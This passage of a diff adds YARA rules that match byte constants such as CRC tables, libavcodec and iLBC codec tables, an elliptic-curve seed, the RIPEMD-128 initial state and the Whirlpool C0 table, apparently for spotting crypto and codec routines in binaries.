+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aacaa68ffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_24_Radix_64_poly_0x864CFB__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000fb4c8600f6990c010dd58a01ec331902177f9f021aaa1503e1e69303d8673204232bb4042efe3e05d5b2b80534542b06cf18ad06c2cd27073981a107b0cf64084b83e20846566809bd1aee095cfc7d0aa7b0fb0aaa65710b5129f70b68a8560c93e4d00c9e315a0d657ddc0d849b4f0e7fd7c90e7202430f894ec50f609fc9109bd34f109606c5116d4a43118cacd01277e056127a35dc1381795a13b8f8fb1443b47d144e61f715b52d711554cbe216af876416a252ee17591e6817d050ad182b1c2b1826c9a119dd8527193c63b41ac72f321acafab81b31b63e1b08379f1cf37b191cfeae931d05e2151de404861e1f48001e129d8a1fe9d10c1fc03e93213b72152136a79f20cdeb19202c0d8a23d7410c23da94862221d800221859a125e3152725eec0ad24158c2b24f46ab8270f263e2702f3b426f9bf322670f1f7298bbd71298668fb287d247d289cc2ee2b678e682b6a5be22a9117642aa896c52d53da432d5e0fc92ca5434f2c44a5dc2fbfe95a2fb23cd02e4970562ea0a15a315beddc3156385630ad74d0304c924333b7dec533ba0b4f324147c93278c66835838aee358e5f64347513e23494f571376fb9f737626c7d369920fb36106e3e39eb22b839e6f732381dbbb438fc5d273b0711a13b0ac42b3af188ad3ac8090c3d33458a3d3e90003cc5dc863c243a153fdf76933fd2a3193e29ef9f3e807d26437b31a04376e42a428da8ac426c4e3f419702b9419ad73340619bb540581a1447a3569247ae83184655cf9e46b4290d454f658b4542b00144b9fc874430b2424bcbfec44bc62b4e4a3d67c84adc815b4927cddd492a185748d154d148e8d5704f1399f64f1e4c7c4ee500fa4e04e6694dffaaef4df27f654c0933e34ce0e2ef531bae6953167be352ed3765520cd1f651f79d7051fa48fa5001047c503885dd57c3c95b57ce1cd15635505756d4b6c4552ffa4255222fc854d9634e54502d8b5bab610d5ba6b4875a5df8015abc1e9259475214594a879e58b1cb1858884ab95f73063f5f7ed3b55e859f335e6479a05d9f35265d92e0ac5c69ac2a5c4043b562bb0f3362b6dab9634d963f63ac70ac60573c2a605ae9a061a1a5266198248766636801666ebd8b6795f10d6774179e648f5b1864828e926579c21465f08cd16a0bc0576a0615dd6bfd595b6b1cbfc868e7f34e68ea26c469116a426928ebe36ed3a7656ede72ef6f253e696fc4d8fa6c3f947c6c3241f66dc90d706d20dc7c72db90fa72d64570732d09f673ccef657037a3e3703a766971c13aef71f8bb4e7603f7c8760e224277f56ec47714885774efc4d174e2115b75195ddd759013187a6b5f9e7a668a147b9dc6927b7c200178876c87788ab90d7971f58b7948742a7eb338ac7ebeed267f45a1a07fa447337c5f0bb57c52de3f7da992b97d }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_960__16_lil_94_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c0034003c0044004c0054005c0064006c0074007c0088009400a000ac00bc00cc00dc00f00004011c01340150016c018c01b001d401fc01280258028c02c002000340038003c0030000 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_193R2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 10b7b4d696e676875615175137c8a16fd0da2211 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale5__flt64___64_lil_248_
+{
+strings:
+	$a0 = { 03000000a1deef3f03000080be99ef3f04000020ba51ef3ffeffffdf3006ef3f020000e0a9b6ee3ffdffff5f8f62ee3f020000e02409ee3f0000000076a9ed3f040000003e42ed3fffffff1fbdd1ec3f000000e06a55ec3f020000e05fc9eb3f040000400027eb3f030000e05561ea3ffdffffffb256e93ffcffff5f9ea0e63f000000a0288be33f000000c0f31ce23fffffff9f06efe03ff8ffff1f32bedf3f05000080eebedd3f030000a030d1db3f05000000ccead93f050000209703d83f060000a0e013d63f040000203513d43f07000060ddf6d13fffffff1f695ecf3ffeffffbffe42ca3ff0ffff1f4029c43f000000c06115b73f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv10_rv_lum_code__16_lil_512_
+{
+strings:
+	$a0 = { 7f3e000f010f020f030f040f050f060f070f080f090f0a0f0b0f0c0f0d0f0e0f0f0f100f110f120f130f140f150f160f170f180f190f1a0f1b0f1c0f1d0f1e0f1f0f200f210f220f230f240f250f260f270f280f290f2a0f2b0f2c0f2d0f2e0f2f0f300f310f320f330f340f350f360f370f380f390f3a0f3b0f3c0f3d0f3e0f3f0f80038103820383038403850386038703880389038a038b038c038d038e038f0390039103920393039403950396039703980399039a039b039c039d039e039f03c000c100c200c300c400c500c600c700c800c900ca00cb00cc00cd00ce00cf005000510052005300540055005600570020002100220023000c000d000400000005000e000f002400250026002700580059005a005b005c005d005e005f00d000d100d200d300d400d500d600d700d800d900da00db00dc00dd00de00df00a003a103a203a303a403a503a603a703a803a903aa03ab03ac03ad03ae03af03b003b103b203b303b403b503b603b703b803b903ba03bb03bc03bd03be03bf03400f410f420f430f440f450f460f470f480f490f4a0f4b0f4c0f4d0f4e0f4f0f500f510f520f530f540f550f560f570f580f590f5a0f5b0f5c0f5d0f5e0f5f0f600f610f620f630f640f650f660f670f680f690f6a0f6b0f6c0f6d0f6e0f6f0f700f710f720f730f740f750f760f770f780f790f7a0f7b0f7c0f7d0f7e0f7f0f }
+
+condition:
+	$a0
+}
+
+	
+rule iLBC_State_quantization_table_frgqTbl__flt64___64_lil_512_
+{
+strings:
+	$a0 = { c68503215900f03f689604a8a925f13fc959d8d30e3ff23f406ce9d1544ff33f957f2daf5c6ff43f5b22179cc19ff53f58e71890bddef63f4a969350fa02f83fe124cd1fd31af93f6ede3829cc3bfa3f44334fae2950fb3f7bf65ca62681fc3fee26f8a6e973fd3f3f575bb1bf6cfe3f91f2936a9f4eff3fe7fba9f1d20d0040f7393e5a9c710040b2a19bfd81d20040b9fab1497e24014036751e15ff770140802a6edc62be01406344a2d0b20e0240c636a968ac5d0240882d3d9aeaa9024042e8a04b38f4024034b91803eb380340422619390b7b0340a0c4e74eb0bf03406005f86ef30604406b0c3a2174500440f183f3a963950440a438471d1dd70440a47213b534170540cc26c0b0fc59054082caf8f719970540e0d8b3e732d5054054abafae0a140640a226fa7c9451064039605793a78c064007b47405dbc80640dbc4c9fd0e0507406a334e43544107403c1405fa447e0740fe80070610be07408ee9094b3c0008400420eeea554408409d685721e5870840c3d5011077d5084069554b3aca2109405534d6fece760940519fe40e9bc80940bc3b32569b1f0a40dcf63deaaf770a40147afd497cce0a4044696ff085290b408c2e6f0ed78a0b40b5c01e1329ed0b4027fa7c9411570c400e87a5811fd50c40a301bc0512540d40ff4124438eed0d40467a51bb5fa50e4034ba83d899820f40fda36fd234681040 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4cd1__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000e536ca6d2f5b94db71ed5eb6bb804da1a89787cc62fad97a3c4c1317f621ff541a623539d00f6b8f8eb9a1e244d4b2f557c378989dae262ec318ec430975fea91b9f34c4d1f26a728f44a01f4529b308563e79659c5327d3c2e5edbe088801fde4cbcb902ea6952670105f4bba7d4c5ca96a86316307d8873db112eaf7dc99457c735328b61e0d9ee8a8c7f322c5d4e431d21e89fbbf403fa5098a526f6466118327ac7c494af2ca17fc38a7dd912bb0ce86e1dd04ebbf6b5a5d7506903067ec82daad8148b7f3371601395adc6c2a4dcf7be0200516be965ba074fb91cd98b87d8e52d5b7e30c63e955c60e2338d519302f1f74fa4241c2a4f48baf6e99328bd7bdf8e61dd0a65043666c3d890b7f2a9a1cb5475071ebf10ec7219cc4aacddf28e907b2e2845904bc329369765f807e65484a13af2514a5f193dec83bfecc222914064fe37958f9bdcf929477a2818364b54beeaed81558f06edf353a033376d640f91b1c2da7ad429b6dc088f67ed79be1b4ba518cea0c0f3a2061c557abce4ef861a384953f15da23f578104ee66f03592c02c93472b49782b8d95def549ab1ac9ef77bc1c04125770a2cef1a193bfc0dd35636608de068d6478da2bb5567b0519f0a7a3cc1bc248a0bd1eee718c6fdf0d2ab379d8c1d692b4670a346aa334f05605e85683ee8dbdef48511b3e79202a42dffc8c97349967fb9245c12 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_5__16_lil_16_
+{
+strings:
+	$a0 = { 1bd52ef12e04c71360221b31de408553 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_hi0xC2DB2AA3__32_big_4096_
+{
+strings:
+	$a0 = { 000000005e3f42bbbc7e8576e241c7cd1d986f8943a72d32a1e6eaffffd9a8443b30df12650f9da9874e5a64d97118df26a8b09b7897f2209ad635edc4e977567661be24285efc9fca1f3b52942079e96bf9d1ad35c69316d78754db89b816604d516136136e238df12fe440af10a6fb50c90ebf0ef64c04ecb78bc9b288c972ecc37c48b2fc3ef350bdf93e0e82bb85f15b13c1af64517a4d2596b7131ad40cd7f3a35a89cce1e16b8d262c35b26497ca6bccd394548e68761549a5282a0b1e9aa2c26cc49d80d726dc471a78e305a1873aade5d905ef5e3b442893657b6a28a1921d7effad5fc51dec980843d3dab3bc0a72f7e235304c0074f7815e4bb53abce39df5e2dcdf4e009d18835ea25a38a17bf27cff44b0c71d05770a433a35b187d342e7d9ec005c3badc7916592852a9a4b2d6ec4746fd52635a818780aeaa3ca8223d194bd616a76fca6a728c3e41cd71a4c5889250ee36b64c92e355b8b95f1b2fcc3af8dbe784dcc79b513f33b0eec2a934ab215d1f15054163c0e6b54875020e1bd0e1fa306ec5e64cbb26126704db88e341387cc8ff1c60b42aff949f96b103eaf352f7c14d76ebbd98951f9627688512628b7139dcaf6d45094c996eb26415f99787e1d229a3fdaefc40098543bd9301065e672ab87a7b566d998f7dd1d71808b434ec230a10f05fdff30474600e9ef025ed6adb9bc976a74e2a828cf1ca25e8f429d1c34a0dcdbf9fee39942013a31065f0573bdbd44b470e37bf6cb2792819d79adc3269bec04ebc5d346503a0aee146435acaf86746b62d84b29d96ac3e0ab34fca210d6bd65dd88822766775b8f222964cd99cb250a54951a48ef51f33fb90fcc7d02ed8dbacfb3b2f8744c6b50301254128bf015d546ae2a97fdf06122c7ae5e607c4c1fa7b11220e50aedf94d4eb3c60ff55187c8380fb88a83cb51fdd5956ebf6e772f78a329103a18d6c9925c88f6d0e76ab7172a3488559186009ce3d83fde583a7e199564415b2e9b98f36ac5a7b1d127e6761c79d934a7bd3043f1e30f014a014ec6875f71843ca0a82c78fe976ec31cd6a90e42e9ebb5a041c37afe7e81c11c3f460c420004b7bdd9acf3e3e6ee4801a729855f986b3e9b711c68c54e5ed3270f991e7930dba586e973e1d8d6315a3a97f69764a8b42cd6207d5e881f3fe56a5ef8283461ba93cbb812d79587506c77c697a129f9d51aed10a24cb32fe0f7516e273a0f516581f088cdc5aeb78f7e4cf648b312c90a084c82bf3212bdfd89f0fc3a44aec378ff511ad0bb0f259200ed6455cdb35b177677b26020298d229bcbcce55695f3a7ed6a2a0fa934154d12d6548adf886bc8643ae3011664dc43ad869d8460d8a2c6db277b6e9f79442c249b05ebe9c53aa95201d3de045fec9cbfbdad5b72e39219c91c4bb18d4274f336a03534fbfe0a76403944bd1e677bffa5853a3868db057ad324dcd2977ae3902c98a257e1c69d155a0274620c5c4b20b7be0ae77ae035a5c11fec0d8541d34f3ea39288f3fdadca484f25033a111a4181f35b864cad64c4f752bd6cb30c822e08eec3e9c5b0fcab7e7415dc282a2a9e93c86b595e96541be5698db3a137b2f11ad5f336d78bcc746cd587c1568bb883ed69f9442037c6069bc81faedf9620ec6474612ba92a5e6912eeb71e44b0885cff52c99b320cf6d989f32f71cdad1033764f51f4bb116eb600a3e67f72fdd93dc91f98fa0441a7b8bfbe7e10fbe04152400200958d5c3fd73698d6a060c6e9e2db24a825167a9767ad854ecfe9db718d5239304a9f670f082485a720ebdb98625039d9a59d67e6e726983f4f62c6000dd92441ca147a7e88afbe97fff9e0a8bd4202e97a8f5cd63834a30f9070fd30d2cb1f711506414e57bdf3c69ecfadf9dc744fb81bb911875902ee5ef146b061b3fd522074300c1f368bc8f641dd96c903667488c4ab2ab78610d56e2e548b516cef6910ab22372fe99969645ca3375b1e18d51ad9d58b259b6e74fc332a2ac37191c882b65c96bdf4e7525483b10c6bc10aee2a06c7b015447c4fccec3811f3ae83f3b2694ead8d2bf51f05e287413aa03ca37b67f1fd44254a029d8d0e5ca2cfb5bee30878e0dc4ac324353d957a0a7f2e984bb8e3c674fa5839ad521c679210a785d3d76adbec95d125e6e3917bd9a12a999866e7c7a7245c387e8c186641cea38400096eda3f4bd51ed63c8340e97e38a2a8b9f5fc97fb4e034e530a5d7111b1bf30d67ce10f94c753875db50db81f0eeff9d8c3b1c69a784e1f323c10207087f261b74aac5ef5f168b782a73688c01cd4c907d18af6456a752fed2e2b10af95c9516858976e2ae3c9259fd9971add62755b1aaf2b645814d4bdf0508a82b2eb68c3752636fc379df21540cbac2a02704e6bc5bd10548706ef8d2f42b1b26df953f3aa340dcce88fbf4421fde17b6346033aa48b5d05e630a2dc4e74fce30ccf1ea2cb02409d89b98474feefda4bbc54380a7b996635392299ec9166c7d3d3dd259214107bad56ab99057e64c73a3cdf257bfb127b44b9a9849d11eddaa2535638e3949b66dcd620a235a176fc0ae3cd1e4b2400407466bbbfadceffe1928c4403d34b895dec0932ef64c040b15b82fb531a45360d25078df2fcafc9acc3ed724e822abf10bd6804d4541f528a6b5de9682a9a243615d89fc9cc70db97f3326075b2f5ad2b8db71675c6022c2bf94097c9b8875a9787c5e1685e6da536612f1ed420e8d38a1faa684ef6dd3e10c99f85f2885848acb71af3536eb2b70d51f00cef1037c1b12f757a03a7bc085d98feb3bfd9397ee1e67bc51e3fd3814000913aa24156f7fc7e144c3897631a66a821a184e9e66cdad6a4d7250f0c937b304e28997189e5c74ecb5e72897a3c2cb63887cef7ff4a90c8bdf16f1115b5312e570ed36f90c38d50d27849b9a52e1786e795f5c72058abf862e35421caa70a1e881ce85f4fd1b6600d6a04e8c4185ad786a3b896416ee6a903d51970ab91474fe92aa50e2ee7fb316c5c3fd81b0a61e759b183a69e7cdd99dcc7224074837c7f36389e3ef1f5c001b34e9e4a0674c07544cf223483027c0bc1b983d269fddded2b463facec8b6193ae30a57ad966fb459bdd19045c10473b1eabb8e2b6efe6ddf454049c33995aa37122e82bb850b614faeb54553d260a6a7f9df5b3d7d9ab8c956249cd52af17f21014d31b67428d2425f96f65e234315aa08fce8308cb90bc4a7072fd8dbd2cc2cf06ce6ae7c99055a572721462bf2c2b2004d3f288408dcdcafb6f8c0d3631b34f8df55a38dbab657a604924bdad171bff16e8c25752b6fd15e954bcd2240a83909fb80b59ede6341b560475dc9b5a4a9e20a5933664fbac74df19edb31247d2f1a9833b86ffdd04c4443f450389617a41329ea3e976c09cabcd22dd6c007ce22ebb22a99b817c96d93a9ed71ef7c0e85c4c3f31f408610eb6b3834f717edd7033c51999449347a60628a5e7c1e5fbd8835e04012b1a5a3e69a1b87fae6ce640ecd754c825a50af7671ee8b6a0d3b689e26849504a2c176f0897f52ecf5aab118de16ff8fab731c7b80cd3867fc18db93d7a7260953e2c5fd785ce1e1048902152f36e2b24b330146608d255a1c58c6ae37e73b34b3a2d8c0981cfcdce4c91f28cf7551bfba10b24b91ae9657ed7b75a3c6c4883942816bcd693f4fd115eaac253e5184a9a974675d82ca4341fe1fa0b5d5a05d2f51e5bedb7a5b9ac7068e79332d3237a45857d45073e9f04c0f3c13b82483ee22a0c60dd68b7829caf7adca3edc182e858fbdcd71a403e96dd8d60a99f369f703772c14f75c9230eb2047d31f0bfb9d887e9e7e7c55205a6029f5b994024a440e860fa7faadb183e6d1646012fadf489e6dfaab6a46448f763a916c82112e9118956b72ecbed556f0c200b504e9bcfb939cd91867b7673c7bcbb2df8fe00d22156448c1e14ff6e5fd33230609189d2c8b9468cf7fbfd6eb63c3030897e8bcf50d6cf916f9474732e53b92d111102e9f86654b7c724ef5586e3220bb9a199f46009ddaa5f4b66481e8cab1621ce10a4a90762fa9645d918d7821446e8c0afb93168ebe70e2a50054fed9d5b70af269f99d870c1a69acb23e75d067dd81fbd8201b7f9dc3ef5423e7f328f604070343e0bc50e603487b582754078dc4a02c32393aa877dace83c9fed2ff1c1d26d4a053b1a1c5b0458a7b9459f6ae77addd118a37595469c372ea4ddf0e3fae2b258486a7b2a16553991f414fe5caa2bbce755f214a30bcd5618e98c91d5b7b3d36e735aa4382d65e683cf24214e911b63f56ec2cbb130fd890ad2bc4ec78c830c7c4bcdc72215f28599f7b34254a98c00ef5655a8ab086aea10ea2b2dddb4146f6670fd18302ec25a8bcc839d4692bcdffd6d6577b9335a3502d11bf2cf8f24b0743dac790663933bbd81d2fc70dfedbecb2034168f7e0b54349c4a93f9c275d142069ca61458a3e4afbae22362e4dd61d91b04c99d453b8b26a77a4cebf9450e50a70ebb6af931f9d11b703e1c454f7ca7ba96d4e3e4a9965806e8519558d7132e9c3e6478c20126c32040e10e7e7fa3b581a60bf1df99494a3dd88e8763e7cc3cd16f054e8f5047f56d118038332ec283ccf76ac792c8287c7089efb12eb6ad0aea5fda5cb46098e756215f2a081e1d91f7c7b5d5a9f8f76e4bb930a315867218f72e5ad7a911186c4b50dfa1156f9d1aeab6355eb48977e556c8b02808f7f293cc1e85c59221c77e706000b32e5f4208d186ea4c8fb9a8f76df86f3a33c72d81814fe4f3df70a6483d316185630e233e9cd78b7ac2e8c9c120a90e0c7e964cb7ba7f3be1e440795a0601be97583efc2ca7e75468f9d816d31b99d11e45a693a51bed269f45d26424a793a3e9f9ace15206754916584a0badba0bcc60e4348edb20ddf98d7ee2bb369ca37cfbc29c3e403d459604637ad4bf813b1372df0451c96d8c98bb33b3da00d1f21dcd8fcd5f767014f7322e2bb589cc6a7244925530ff56bc47a908830512eac2c2dfb4fd80644b242820151b6a9bf75aad56a965efed576f99ad0950db16eb111cdbb52e5e604af7f62414c8b49ff6897352a8b631e96c5f46bf32600404d021c3c98e1e817271c729362ff86b8dcdb9ac409386eefb210e27897f3165329d70a2ffc34fe0443c96480062a90abb80e8cd76ded78fcd1a3ef89b4401ba20a6407dedf87f3f5607a697125999d5a9bbd81264e5e750dfbbace5e5e593a75e07d2609359ed2228a6348a6cf80bc8d71a4a0f1a44754da1809c3af7dea3784c3ce2bf8162ddfd3a9d04557ec33b17c5217ad0087f4592b3cdcd5bc193f2197a71b3deb72f8c9c0cd05534488e6a76f36c2bb13e3214f385f6fd84d3a8c2c6684a8301a514bc431eeb65eb5ab55aa9e1571b6e2c09242c97eb8c0458b5b346e357f2812e09cdc395f6146bd1a82b296a4a6aeea71455ac1cd0bcdb4a8e8399f16cc25e3c32fd1c87cd24b4c3931bf678715a31b52f65730e9dedba7cc3d2f8c721933f0a7fac7db18075d5f5de4a974e3c0b508362341238a6dd656ef8e227d51aa3e018449ca2a3bb450ae7e57a485c073b8f915904cd2a074f781059703aabbb31fd66e50ebfdd1ad7179944e85522a6a992eff896d0543c7fa7026240e5b980012274de3e60cf21e7c88b7fd88a309d994dfdc3a60f46712ec6342f11848fcd504342936f01f96cb6a9bd3289eb06d0c82ccb8ef76e704a1e192614215b9df6609c50a85fdeeb578676af09b93414ebf8f3d9b5c7b162 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_same_side__30_degree___flt64___64_big_1024_
+{
+strings:
+	$a0 = { bf70f5b6a53aae563f77b83c2c8351323f6b3045d3722c703f8d32d9aec766f73f7e046dcd0158cbbfb0c4dbb31f78123fa1ee6ffb0b5345bf8acf3be001c8bc3fd01d202139b8f73fdaede7595d7044bfd5e1738e5e3cb9bfcf31e661a6a1a63fa9184e37689699bfc6c26c90bf9c253fd0ed3db33314503fcdc0fcb42efccf3fa0ec57888401c73fddf58cfdc16dae3fe1264f89c4e7ddbf88656bcfaff2a3bfd972d73e7fd935bfa1a7bceda0d5d33f9e26ef39d85b61bfd8a56179c3f3e5bfd4f1620ae36a34bfc2d15c9caa8e70bfb5d1116641e941bfc31e81ee5a16ecbfb825c09015912e3fb95fee54ba7e433f86ae7ef5d4fdb7bf74e7905896b2503fb7e86db8b5c6143fc134a3c51aee2f3fbae62c6b8d58c23fa5b5a96096440d3fb0caaeea1bb52d3f9ba1b9a1822bf8bfa133d146a8f6a1bf926ea4c77335303fa58531cc1c95fb3fa3b50365ce4c43bf9918b3f3eaf51ebfa172c79565c83abf9dee84cc1ad728bfa80bc760fa7376bfb836907df0e9ccbfc38cd17b4a15f9bfc3ba10d6beb095bfb66e0df19a1244bfa1371b176d4881bf7d82bf537cc8c83f80f1a84f1c18963f95e1ae63c845ca3fa65b669a196d9d3facfbdd4d3998223fb1588a450c5d763facc8b67be63fc53fa24f70516bb66e3f999bc3cef4217f3f8f9684e135f0373f802f9560a0d5f4bf7610feb62c7f04bf7c9f67035063babf88a21f134759e9bf99d5714b81849fbf9adac01e6a4f47bf986176ac3cdf40bfa0a410c272efe2bfa05ca9be0548abbf9246c85e29fcc8bf910827bef0bb94bf9092ad73f1899bbf87e1231b077ac9bf6cfb695c067ac9bf41f9d2bfd677c23f5e3337cefe8e173f87d402589984af3f92c60b4c1e5af43f94f028638e651e3f816c8e811431513f3ec3799b05129abf5bee15b0a4f49cbf625b8a3b606620bf4c3229ecd610c7bf70d6c64ee3fb41bf6ce66c7e7167bebf83be387d7cb26fbf91eba30883bf75bf8ff9e9a6f2a8d5bf8619150f38248ebf83852c242450babf7e9892131f0445bf5f6f6f2431da19bf23a18e366fd932bf686a515ecde02bbf7ab54f7052da2e3f025ba6c68e0faa3f82ef180febd2433f8444d7773e64903f81085e9bda6ff83f72bd73d0a20884bf10f8c344f5d5e6bf7271a6888a68febf714f3e18003002bf67a469093c3b4cbf7a4889cc94887abf7d503fde16d18dbf821ad98d1ec1eabf8d86fe8cdc75cabf8f9cd05a44e3ecbf82eef9ca09a33abf61abeb00ce34a53f67616c65f08e473f666955e2b261d6bf49d5aea9aeb21cbf6abf351fab6cddbf6fc967fc8aa7c1bf6ceb6261623444bf6f90a0ba6368c6bf53884b826372ebbf60f9ebd317a03ebf746b850212a764bf715b670d2dac8abf68d32062adb066bf573395e55fa539bf40a7f371f2db7e3f37004b1da4a602 }
+
+condition:
+	$a0
+}
+
+	
+rule ARGB_default_palette__32_big_1024_
+{
+strings:
+	$a0 = { ff01003fff03003fff06013eff09023dff0b023dff0e033cff10043bff13043bff15053aff18063aff1b0639ff1d0738ff200838ff220837ff250936ff270a36ff2a0a35ff2d0b35ff2f0c34ff320c33ff340d33ff370e32ff390e31ff3c0f31ff3f1030ff411030ff43102fff46112eff48122eff4b122dff4d132cff50142cff52142bff55152bff57162aff5a1629ff5c1729ff5f1728ff611827ff641927ff661926ff691a26ff6b1b25ff6e1b24ff701c24ff731d23ff751d22ff781e22ff7a1e21ff7d1f21ff7f2020ff81201fff83211fff85221eff87221dff89231dff8b241cff8d251cff8f251bff91261aff93271aff952819ff972818ff992918ff9b2a17ff9d2b17ff9f2c16ffa12c15ffa32d15ffa52e14ffa72f13ffa92f13ffab3012ffad3111ffaf3211ffb13210ffb33310ffb5340fffb7340effb9350effbb360dffbd370cffbf370cffc1380bffc3390bffc53a0affc73a09ffc93b09ffcb3c08ffce3d08ffd03d07ffd23e06ffd43f06ffd64005ffd84004ffda4104ffdc4203ffde4303ffe04302ffe24401ffe44501ffe64600ffe64700ffe64800ffe64a00ffe74b01ffe74d01ffe74f02ffe75002ffe85202ffe85303ffe85503ffe85704ffe95804ffe95a04ffe95b05ffea5d05ffea5f06ffea6006ffea6206ffeb6307ffeb6507ffeb6708ffec6808ffec6a08ffec6b09ffec6d09ffed6f0affed700affed720affee740bffee750bffee770cffee780cffef7a0cffef7c0dffef7d0dffef7f0efff0800efff0820efff0840ffff1850ffff18710fff18810fff18a10fff28b11fff28c11fff28e11fff28f12fff39112fff39212fff39413fff49513fff49714fff49814fff49a14fff59b15fff59d15fff59e15fff6a016fff6a116fff6a317fff6a417fff7a617fff7a718fff7a918fff8aa18fff8ac19fff8ae19fff8af19fff9b11afff9b21afff9b41bfffab51bfffab71bfffab81cfffaba1cfffbbb1cfffbbd1dfffbbe1dfffcc01efffcc11efffcc31efffcc41ffffdc61ffffdc71ffffdc920fffeca20fffecc21fffecd21fffecf21ffffd022ffffd021ffffd120ffffd220ffffd31fffffd31fffffd41effffd51effffd61dffffd61dffffd71cffffd81cffffd91bffffd91affffda1affffdb19ffffdc19ffffdc18ffffdd18ffffde17ffffdf17ffffe016ffffe016ffffe115ffffe214ffffe314ffffe313ffffe413ffffe512ffffe612ffffe611ffffe711ffffe710ffffe810ffffe90fffffea0fffffea0effffeb0effffec0dffffed0dffffed0cffffee0bffffef0bfffff00afffff00afffff109fffff209fffff208fffff308fffff407fffff507fffff506fffff606fffff705fffff805fffff804fffff904fffffa03fffffa03fffffb02fffffc02fffffd01fffffd01fffffe00ffffff00 }
+
+condition:
+	$a0
+}
+
+	
+rule RIPEMD_128_InitState__32_big_AND_
+{
+strings:
+	$a0 = { 10325476[0-20]67452301[0-20]efcdab89[0-20]98badcfe }
+
+condition:
+	$a0
+}
+
+	
+rule generic_sampling_rate_table__96000____8000___32_big_48_
+{
+strings:
+	$a0 = { 00017700000158880000fa000000bb800000ac4400007d0000005dc00000562200003e8000002ee000002b1100001f40 }
+
+condition:
+	$a0
+}
+
+	
+rule UUEncodeTable__32_lil_ASC_256_
+{
+strings:
+	$a0 = { 600000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f000000300000003100000032000000330000003400000035000000360000003700000038000000390000003a0000003b0000003c0000003d0000003e0000003f000000400000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000005b0000005c0000005d0000005e0000005f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C0_table__64_big_2048_
+{
+strings:
+	$a0 = { 18186018c07830d823238c2305af4626c6c63fc67ef991b8e8e887e8136fcdfb878726874ca113cbb8b8dab8a9626d1101010401080502094f4f214f426e9e0d3636d836adee6c9ba6a6a2a6590451ffd2d26fd2debdb90cf5f5f3f5fb06f70e7979f979ef80f2966f6fa16f5fcede3091917e91fcef3f6d52525552aa07a4f860609d6027fdc047bcbccabc897665359b9b569baccd2b378e8e028e048c018aa3a3b6a371155bd20c0c300c603c186c7b7bf17bff8af6843535d435b5e16a801d1d741de8693af5e0e0a7e05347ddb3d7d77bd7f6acb321c2c22fc25eed999c2e2eb82e6d965c434b4b314b627a9629fefedffea321e15d575741578216aed515155415a8412abd7777c1779fb6eee83737dc37a5eb6e92e5e5b3e57b56d79e9f9f469f8cd92313f0f0e7f0d317fd234a4a354a6a7f9420dada4fda9e95a94458587d58fa25b0a2c9c903c906ca8fcf2929a429558d527c0a0a280a5022145ab1b1feb1e14f7f50a0a0baa0691a5dc96b6bb16b7fdad61485852e855cab17d9bdbdcebd8173673c5d5d695dd234ba8f1010401080502090f4f4f7f4f303f507cbcb0bcb16c08bdd3e3ef83eedc67cd30505140528110a2d676781671fe6ce78e4e4b7e47353d59727279c2725bb4e0241411941325882738b8b168b2c9d0ba7a7a7a6a7510153f67d7de97dcf94fab295956e95dcfb3749d8d847d88e9fad56fbfbcbfb8b30eb70eeee9fee2371c1cd7c7ced7cc791f8bb6666856617e3cc71dddd53dda68ea77b17175c17b84b2eaf4747014702468e459e9e429e84dc211acaca0fca1ec589d42d2db42d75995a58bfbfc6bf9179632e07071c07381b0e3fadad8ead012347ac5a5a755aea2fb4b0838336836cb51bef3333cc3385ff66b6636391633ff2c65c02020802100a0412aaaa92aa393849937171d971afa8e2dec8c807c80ecf8dc619196419c87d32d1494939497270923bd9d943d9869aaf5ff2f2eff2c31df931e3e3abe34b48dba85b5b715be22ab6b988881a8834920dbc9a9a529aa4c8293e262698262dbe4c0b3232c8328dfa64bfb0b0fab0e94a7d59e9e983e91b6acff20f0f3c0f78331e77d5d573d5e6a6b73380803a8074ba1df4bebec2be997c6127cdcd13cd26de87eb3434d034bde4688948483d487a759032ffffdbffab24e3547a7af57af78ff48d90907a90f4ea3d645f5f615fc23ebe9d202080201da0403d6868bd6867d5d00f1a1a681ad07234caaeae82ae192c41b7b4b4eab4c95e757d54544d549a19a8ce93937693ece53b7f222288220daa442f64648d6407e9c863f1f1e3f1db12ff2a7373d173bfa2e6cc12124812905a248240401d403a5d807a0808200840281048c3c32bc356e89b95ecec97ec337bc5dfdbdb4bdb9690ab4da1a1bea1611f5fc08d8d0e8d1c8307913d3df43df5c97ac897976697ccf1335b0000000000000000cfcf1bcf36d483f92b2bac2b4587566e7676c57697b3ece18282328264b019e6d6d67fd6fea9b1281b1b6c1bd87736c3b5b5eeb5c15b7774afaf86af112943be6a6ab56a77dfd41d50505d50ba0da0ea45450945124c8a57f3f3ebf3cb18fb383030c0309df060adefef9bef2b74c3c43f3ffc3fe5c37eda55554955921caac7a2a2b2a2791059dbeaea8fea0365c9e9656589650fecca6ababad2bab96869032f2fbc2f65935e4ac0c027c04ee79d8edede5fdebe81a1601c1c701ce06c38fcfdfdd3fdbb2ee7464d4d294d52649a1f92927292e4e039767575c9758fbcea